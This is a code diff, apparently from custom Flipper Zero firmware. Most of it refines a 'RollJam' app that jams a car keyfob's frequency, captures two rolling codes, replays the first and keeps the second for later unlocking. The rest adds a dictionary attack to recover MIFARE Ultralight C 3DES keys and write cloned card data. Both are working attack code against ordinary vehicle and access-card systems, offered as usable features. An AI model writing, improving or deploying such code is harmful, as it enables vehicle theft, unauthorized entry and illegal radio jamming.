bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
@@ -455,27 +533,23 @@ void rolljam_signal_cleanup(RawSignal* signal) {
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
@@ -484,8 +558,8 @@ void rolljam_signal_cleanup(RawSignal* signal) {
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
@@ -494,11 +568,9 @@ static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
@@ -507,33 +579,23 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* tx_preset;
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
// Transmit 3 times — improves reliability especially at range
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
@@ -550,14 +612,11 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
@@ -590,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
@@ -616,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}

View File

@@ -15,20 +15,11 @@
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -180,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
@@ -188,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
@@ -201,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);

View File

@@ -18,7 +18,6 @@
#define TAG "RollJam"
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
@@ -127,20 +126,17 @@ typedef struct {
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
@@ -149,16 +145,14 @@ typedef struct {
uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

View File

@@ -9,10 +9,8 @@
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -27,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
@@ -38,16 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Configure hardware type
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
@@ -67,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(

View File

@@ -9,10 +9,8 @@
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -38,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
@@ -72,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(

View File

@@ -10,7 +10,6 @@
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(

View File

@@ -4,43 +4,68 @@
// Menu scene: select frequency, modulation, start attack
// ============================================================
static uint8_t get_min_offset_index(uint8_t mod_index) {
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
@@ -72,12 +97,17 @@ void rolljam_scene_menu_on_enter(void* context) {
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
@@ -111,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
@@ -125,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);

View File

@@ -9,7 +9,6 @@ App(
"nfc",
"subghz",
"rolljam",
"lf_sniffer",
"subghz_bruteforcer",
"archive",
"subghz_remote",

View File

@@ -14,7 +14,9 @@ enum {
SubmenuIndexUnlock = SubmenuIndexCommonMax,
SubmenuIndexUnlockByReader,
SubmenuIndexUnlockByPassword,
SubmenuIndexDictAttack
SubmenuIndexDictAttack,
SubmenuIndexWriteKeepKey, // ULC: write data pages, keep target card's existing key
SubmenuIndexWriteCopyKey, // ULC: write all pages including key from source card
};
enum {
@@ -214,8 +216,26 @@ static void nfc_scene_read_and_saved_menu_on_enter_mf_ultralight(NfcApp* instanc
if(is_locked ||
(data->type != MfUltralightTypeNTAG213 && data->type != MfUltralightTypeNTAG215 &&
data->type != MfUltralightTypeNTAG216 && data->type != MfUltralightTypeUL11 &&
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin)) {
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin &&
data->type != MfUltralightTypeMfulC)) {
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
} else if(data->type == MfUltralightTypeMfulC) {
// Replace the generic Write item with two ULC-specific options so the user
// can choose whether to keep or overwrite the target card's 3DES key.
// This avoids any mid-write dialog/view-switching complexity entirely.
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
submenu_add_item(
submenu,
"Write (Keep Key)",
SubmenuIndexWriteKeepKey,
nfc_protocol_support_common_submenu_callback,
instance);
submenu_add_item(
submenu,
"Write (Copy Key)",
SubmenuIndexWriteCopyKey,
nfc_protocol_support_common_submenu_callback,
instance);
}
if(is_locked) {
@@ -291,6 +311,14 @@ static bool nfc_scene_read_and_saved_menu_on_event_mf_ultralight(
scene_manager_next_scene(instance->scene_manager, NfcSceneMfUltralightCDictAttack);
}
consumed = true;
} else if(event.event == SubmenuIndexWriteKeepKey) {
instance->mf_ultralight_c_write_context.copy_key = false;
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
consumed = true;
} else if(event.event == SubmenuIndexWriteCopyKey) {
instance->mf_ultralight_c_write_context.copy_key = true;
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
consumed = true;
}
}
return consumed;
@@ -307,12 +335,139 @@ static NfcCommand
if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestMode) {
mf_ultralight_event->data->poller_mode = MfUltralightPollerModeWrite;
furi_string_reset(instance->text_box_store);
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventCardDetected);
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeAuthRequest) {
// Skip auth during the read phase of write - we'll authenticate
// against the target card in RequestWriteData using source key or dict attack
mf_ultralight_event->data->auth_context.skip_auth = true;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestKey) {
// Dict attack key provider - user dict first, then system dict
if(!instance->mf_ultralight_c_dict_context.dict &&
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictIdle) {
if(keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictUser;
}
if(!instance->mf_ultralight_c_dict_context.dict) {
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state =
NfcMfUltralightCWriteDictSystem;
}
}
MfUltralightC3DesAuthKey key = {};
bool got_key = false;
if(instance->mf_ultralight_c_dict_context.dict) {
got_key = keys_dict_get_next_key(
instance->mf_ultralight_c_dict_context.dict,
key.data,
sizeof(MfUltralightC3DesAuthKey));
}
if(!got_key &&
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictUser) {
// Exhausted user dict, switch to system dict
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictSystem;
if(instance->mf_ultralight_c_dict_context.dict) {
got_key = keys_dict_get_next_key(
instance->mf_ultralight_c_dict_context.dict,
key.data,
sizeof(MfUltralightC3DesAuthKey));
}
}
if(got_key) {
mf_ultralight_event->data->key_request_data.key = key;
mf_ultralight_event->data->key_request_data.key_provided = true;
FURI_LOG_D(
"MfULC",
"Trying dict key: "
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
key.data[0],
key.data[1],
key.data[2],
key.data[3],
key.data[4],
key.data[5],
key.data[6],
key.data[7],
key.data[8],
key.data[9],
key.data[10],
key.data[11],
key.data[12],
key.data[13],
key.data[14],
key.data[15]);
} else {
mf_ultralight_event->data->key_request_data.key_provided = false;
FURI_LOG_D("MfULC", "Dict exhausted - no more keys");
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
}
instance->mf_ultralight_c_write_context.dict_state =
NfcMfUltralightCWriteDictExhausted;
}
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestWriteData) {
mf_ultralight_event->data->write_data =
nfc_device_get_data(instance->nfc_device, NfcProtocolMfUltralight);
// Reset dict context so RequestKey starts fresh for the write-phase auth
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
}
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteKeyRequest) {
// Apply the user's key choice - read from static, not scene state (scene manager
// resets state to 0 on scene entry, wiping any value set before next_scene).
bool keep_key = !instance->mf_ultralight_c_write_context.copy_key;
mf_ultralight_event->data->write_key_skip = keep_key;
if(mf_ultralight_event->data->key_request_data.key_provided) {
MfUltralightC3DesAuthKey found_key = mf_ultralight_event->data->key_request_data.key;
FURI_LOG_D(
"MfULC",
"WriteKeyRequest: target key = "
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
found_key.data[0],
found_key.data[1],
found_key.data[2],
found_key.data[3],
found_key.data[4],
found_key.data[5],
found_key.data[6],
found_key.data[7],
found_key.data[8],
found_key.data[9],
found_key.data[10],
found_key.data[11],
found_key.data[12],
found_key.data[13],
found_key.data[14],
found_key.data[15]);
}
FURI_LOG_D(
"MfULC",
"WriteKeyRequest: decision = %s (copy_key=%d)",
keep_key ? "KEEP target key (pages 44-47 NOT written)" :
"OVERWRITE with source key (pages 44-47 WILL be written)",
(int)instance->mf_ultralight_c_write_context.copy_key);
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeCardMismatch) {
furi_string_set(instance->text_box_store, "Card of the same\ntype should be\n presented");
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventWrongCard);
@@ -323,6 +478,7 @@ static NfcCommand
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
command = NfcCommandStop;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteFail) {
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
command = NfcCommandStop;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteSuccess) {
furi_string_reset(instance->text_box_store);
@@ -334,9 +490,18 @@ static NfcCommand
}
static void nfc_scene_write_on_enter_mf_ultralight(NfcApp* instance) {
// Free any dict the write callback opened (dict_state != Idle means we own it).
// After a DictAttack scene, on_exit now NULLs the pointer so a simple NULL check
// is safe here too — but the state enum is the authoritative ownership record.
if(instance->mf_ultralight_c_write_context.dict_state != NfcMfUltralightCWriteDictIdle &&
instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
furi_string_set(instance->text_box_store, "\nApply the\ntarget\ncard now");
instance->poller = nfc_poller_alloc(instance->nfc, NfcProtocolMfUltralight);
nfc_poller_start(instance->poller, nfc_scene_write_poller_callback_mf_ultralight, instance);
furi_string_set(instance->text_box_store, "Apply the initial\ncard only");
}
const NfcProtocolSupportBase nfc_protocol_support_mf_ultralight = {

View File

@@ -126,6 +126,18 @@ typedef struct {
size_t dict_keys_current;
} NfcMfUltralightCDictContext;
typedef enum {
NfcMfUltralightCWriteDictIdle, /**< No dict open; safe to open either dict. */
NfcMfUltralightCWriteDictUser, /**< User dict currently open. */
NfcMfUltralightCWriteDictSystem, /**< System dict currently open. */
NfcMfUltralightCWriteDictExhausted, /**< All dicts tried; do not re-open. */
} NfcMfUltralightCWriteDictState;
typedef struct {
bool copy_key; /**< True = overwrite target 3DES key with source key pages. */
NfcMfUltralightCWriteDictState dict_state; /**< Which dict is open for write-phase auth. */
} NfcMfUltralightCWriteContext;
struct NfcApp {
DialogsApp* dialogs;
Storage* storage;
@@ -165,6 +177,7 @@ struct NfcApp {
SlixUnlock* slix_unlock;
NfcMfClassicDictAttackContext nfc_dict_context;
NfcMfUltralightCDictContext mf_ultralight_c_dict_context;
NfcMfUltralightCWriteContext mf_ultralight_c_write_context;
Mfkey32Logger* mfkey32_logger;
MfUserDict* mf_user_dict;
MfClassicKeyCache* mfc_key_cache;

View File

@@ -77,6 +77,15 @@ void nfc_scene_mf_ultralight_c_dict_attack_prepare_view(NfcApp* instance) {
// Set attack type to Ultralight C
dict_attack_set_type(instance->dict_attack, DictAttackTypeMfUltralightC);
// Guard: if a previous write phase left a dict handle open, close it now.
// Without this, navigating write->back->read->dict-attack would open the same
// file twice, corrupting VFS state and causing a ViewPort lockup.
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
}
if(state == DictAttackStateUserDictInProgress) {
do {
if(!keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
@@ -167,6 +176,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
nfc_poller_stop(instance->poller);
nfc_poller_free(instance->poller);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
scene_manager_set_scene_state(
instance->scene_manager,
NfcSceneMfUltralightCDictAttack,
@@ -199,6 +209,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
nfc_poller_stop(instance->poller);
nfc_poller_free(instance->poller);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
